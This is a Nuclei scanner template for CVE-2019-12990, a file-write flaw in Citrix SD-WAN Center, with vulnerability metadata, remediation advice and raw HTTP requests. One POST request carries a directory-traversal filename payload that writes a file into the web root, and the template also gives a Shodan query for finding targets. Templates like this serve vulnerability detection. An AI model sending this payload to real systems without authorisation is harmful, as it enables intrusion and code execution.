nuclei-templates/http/cves/2019/CVE-2019-12990.yaml

56 lines
2.6 KiB
YAML
Raw Normal View History

id: CVE-2019-12990
info:
name: Citrix SD-WAN Center - Local File Inclusion
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
2023-09-06 12:53:28 +00:00
remediation: |
Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
- https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12990
cwe-id: CWE-22
epss-score: 0.92152
epss-percentile: 0.98756
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
metadata:
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: citrix
product: netscaler_sd-wan
2023-09-06 12:53:28 +00:00
shodan-query: http.title:"Citrix SD-WAN"
2023-07-11 19:49:27 +00:00
tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
- |
GET /talari/app/files/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers:
- type: dsl
dsl:
2023-07-11 19:49:27 +00:00
- contains(header, "text/html")
- status_code_3 == 200
- contains(body_1, "<title>Citrix SD-WAN</title>")
condition: and
# digest: 4a0a00473045022028d757c9021cfe91970444757763cf2003785713ea9f3602bd768bd83be0f8c3022100c9296bbe6b5d59548f4e8fba22c9ef4b44984f446ca9b44fec7de62e4bc23bea:922c64590222798bb761d5b6d8e72950